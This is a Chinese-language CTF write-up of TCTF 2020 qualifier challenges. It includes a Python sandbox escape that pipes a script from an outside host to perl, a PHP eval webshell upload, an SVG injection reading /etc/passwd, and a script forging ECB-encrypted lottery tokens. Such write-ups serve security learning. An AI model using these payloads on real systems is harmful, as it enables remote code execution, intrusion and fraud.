TCTF 2020 Online Quals

Misc

.

PyAuCalc

题目:https://paste.ubuntu.com/p/4cVpkK87dS/

看起来像pwn啊(( <- 出完以后:竟然还真让我猜中了?

逆一下他给的binary

SANDBOX-> https://c-t.work/s/f7d24276ce914f

找到了os的路径

[].__class__.__base__.__subclasses__()[183].__init__.__globals__['sys'].__dict__['modules']['os'].__getattribute__('system')('whoami')

这样执行不了 拆分字符串也不行 <- 这就是那个audit hook的作用

audit hook限制了所有的新import,只能用install启用前的那些模块

sandbox的idb我放这里了 https://files.happyers.top/s/WWimZt74fwQKyZZ

过滤的是事件,完整的事件列表:
https://docs.python.org/3/library/audit_events.html
breakpoint() Raises an auditing event builtins.breakpoint with argument breakpointhook.
os.system() Raises an auditing event os.system with argument command.
比如只要调用os.system就会raise "os.system"事件,就会被waf(os)

过滤的事件:

['breakpoint', 'ctypes', 'fcntl', 'ftplib', 'glob', 'imaplib', 'import', 'mmap', 'msvcrt', 'nntplib', 'open', 'os', 'pdb', 'poplib', 'pty', 'resource', 'shutil', 'smtplib', 'socket', 'sqlite3', 'subprocess', 'syslog', 'telnetlib', 'tempfile', 'urllib', 'webbrowser', 'winreg']

[].__class__.__base__.__subclasses__()[183].__init__.__globals__['sys'].__dict__['modules']

有一些alias之类的也会raise同样的audit event,比如io.FileIO.read也会有"open" event,就过滤了

换了个思路,从event入手
用sys.audit()触发event,fuzz一遍

['array.__new__', 'builtins.input',
'builtins.input/result', 'code.__new__', 'compile',
'ensurepip.bootstrap', 'exec',
'pickle.find_class', 'signal.pthread_kill', 'sys._current_frames',
'sys._getframe', 'sys.addaudithook', 'sys.excepthook',
'sys.set_asyncgen_hooks_finalizer', 'sys.set_asyncgen_hooks_firstiter',
'sys.setprofile', 'sys.settrace', 'sys.unraisablehook']

audit hook在这里被清理

然后那些_io啊,sys.ps1什么的都是在钩子清理后面被清理的,那现在我们能构造一份带__del__的对象,patch 一下,比如sys.ps2,这样能在__del__里面去读/flag,这样应该能绕过。
(话说c-api里和python的sys里添加audit钩子的方法竟然还不一样

raise KeyboardInterrupt退出

赛后:其实关闭连接的时候进程就退出了,不用手动退出

空格过滤了,\x20

顺序应该对的

rce吧,要交互

bytecode exploit to pwn python
甚至还是非预期

不过为啥gc在clearhook之前还可以
⬆️ 因为是在回收模块的时候执行的这个del,如果随便赋值给一个__main__里的对象就会hacking attempt,而模块回收在clear hook之后

exp:

modules = r"""(
init := [].__class__.__base__.__subclasses__()[135].__init__,
os := init.__globals__['sys'].modules['os'],
builtins := init.__globals__['__builtins__'],
exec := builtins['exec'],
exec("d=lambda\x20x:os.system('curl\x20https://files.frankli.site/read.pl|perl')"),
exec("os.path=builtins['type']('a',(),{'__del__':d})()")
)[-1]""".replace('\n', '')
print(modules)

Cloud Computing | Done

whitelist:

0123456789abcdefghijklmnopqrstuvwxyz"$()/;<=>?[\\]{}~\n\r\x0b\x0c

长度限制35

requests.get('', params={
    'action': 'upload',
    'data' : '<?=eval(${hex2bin("5f474554")}[a]);',
    # 绕35长度限制,刚刚好,用$_GET的原因是$_POST的话就超长度了
    'a': 'eval($_POST[a]);'
    # 绕3000url长度限制
}, data={
    'a': ''
})

甚至连phpinfo都disable了,手动fuzz一下吧

disable_functions(incomplete)
https://paste.ubuntu.com/p/TZGf6CXcDW/

open_basedir(sandbox)

mkdir, chdir, ini_set绕open_basedir一把梭

解压出来的镜像(ext2)挂载上去是空的emmmmm
binwalk png


??? 为什么我binwalk不出来东西?? 假的吧
⬆️因为事misc带手子的binwalk

https://paste.ubuntu.com/p/gFrfGVSzTc/
题也不会做,只能看看别人的payload这样子

.

Web

.

Wechat Generator | DONE

gunicorn

img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'
~~绕CSP~~ 好像不是

后端生成的图片,非前端渲染

访问 http://pwnable.org:5000/image/随机/图片格式(png,jpg,svg) 都有返回
如果服务端渲染svg返回png的话可以ssrf

preview的图片是svg格式的,用表情可以逃逸出xml的text标签

[smile" /><image width="2333" height="2333" href="text:/etc/passwd"/>]
然后share触发,http://pwnable.org:5000/share/jSjQGm

所以下一步是利用这个xss,/app/app.py看源码

得到bot地址以及过滤规则(正则匹配替换为空值)

用/htm触发alert,双写绕waf meMETAta

https://paste.ubuntu.com/p/sBNjPvRY2H/

easyphp | Done

http://pwnable.org:19260/?rh=phpinfo();

http://pwnable.org:19260/?rh=%24a%3Dnew%20DirectoryIterator(%22glob%3A%2F%2F%2F*%22)%3Bforeach(%24a%20as%20%24f)%7Becho(%24f-%3E__toString().'%20')%3B%7D%3B
flag在根目录

应该是ffi绕过disable_funtion

非预期: 直接把flag.so下载下来逆

ida is quite dangerous (迫真)

lottery | 错过了

瞄了一眼js代码 平常ajax请求就这么写 没啥问题
比较在意的地方是 发包请求的时候有段enc

返回:

两段密文最后16个字节一样的,4,5行也是一样的,猜测是ECB模式

0x00-0x20, 0x20-0x40其一是lottery uuid
0x40-0x60 user uuid
0x60-0x70 彩票获得的coin
0x70-0x80 只有两种情况,不知道干什么用

lottery uuid与用户绑定(谁点的buy就只能充值回谁的用户(?))
用户A用用户B的enc与自己的userid请求charge的时候会给用户B充值,也就是说充值的逻辑使用的数据全是从enc里来的,请求charge的时候并没有判断enc中的user id与当前用户的user id相同
https://paste.ubuntu.com/p/dFcr4tfVYx/

赛后注:比赛中在enc中替换lottery uuid时没有注意到/info返回的user uuid也变化了,所以一直碰到invalid user,以为lottery是和user绑定的。粗心导致没有做出来这道题

最终exp:

from base64 import b64encode, b64decode
from os import urandom
from requests import session
ses = session()
orig = ses.request
ses.request = lambda method, url, *args, **kwargs: \
    orig(method, 'http://pwnable.org:2333' + url, *args, **kwargs)


def get_account():
    uname = b64encode(urandom(10)).decode()
    pwd = b64encode(urandom(10)).decode()
    info = ses.post('/user/register', data={
        'username': uname,
        'password': pwd
    }).json()['user']
    info['password'] = pwd
    info['api_token'] = ses.post('/user/login', data={
        'username': uname,
        'password': pwd
    }).json()['user']['api_token']
    return info


def buy_lottery(user):
    res = ses.post('/lottery/buy', data={
        'api_token': user['api_token']
    }).json()
    # print(res)
    return res['enc']


info = get_account()
bot_accounts = {}


def create_accounts():
    while True:
        i = get_account()
        if i['uuid'][:2] not in bot_accounts:
            bot_accounts[i['uuid'][:2]] = []
        bot_accounts[i['uuid'][:2]].append(i)
        print('.', end='', flush=True)
        for k, v in bot_accounts.items():
            if len(v) > 10:
                print()
                return k


res = create_accounts()

main_account = bot_accounts[res][-1]
bot_accounts[res].pop()

print(main_account)
print(bot_accounts[res])


def replace(orig, target, s, t):
    orig = b64decode(orig.encode())
    target = b64decode(target.encode())
    return b64encode(orig[:s] + target[s:t] + orig[t:]).decode()


main_enc = buy_lottery(main_account)
for i in bot_accounts[res]:
    for _ in range(3):
        print(i['username'], i['uuid'])
        new_enc = buy_lottery(i)
        lot_info = ses.post('/lottery/info', data={
            'enc': new_enc
        }).json()
        print(lot_info)
        enc = replace(main_enc, new_enc, 0x00, 0x40)
        lot_info = ses.post('/lottery/info', data={
            'enc': enc
        }).json()
        print(lot_info)

        print(ses.post('/lottery/charge', data={
            'enc': enc,
            'user': main_account['uuid']
        }).json())
ses.post('/flag', data={'api_token': main_account['api_token']})

.

Pwn

.

simple echoserver | Done

自定义的read函数好像没什么问题

其他保护都开了,got保护没开,可能和got表有关

rebase(0x131c)的函数有格式化串攻击

int __fastcall show_info(__int64 info_board)
{
  snprintf(tmp_prt_msg, 0x100uLL, "[USER] name: %s; phone: %ld\n", info_board, *(_QWORD *)(info_board + 256));
  return fprintf(stderr, tmp_prt_msg);
}

栈迁移+rop

远程关了stderr流...不能leak,改变思路考虑Unprintable

可以参考:https://www.anquanke.com/post/id/183859

.

Crypto

.

babyring | Done

由于rsa无法分解模数,因此密文与随机数无异(除了1),因此本题相当于64个随机数取一部分异或,得到任意目标数。因此将每个随机数看成64维的向量,64个向量构成一个向量空间,当它满秩时,再化成标准基,便可随意构造任意数。
https://paste.ubuntu.com/p/tmNJC9cHy5/

tagged by none  

Comment Closed.

© 2014 ::L Team::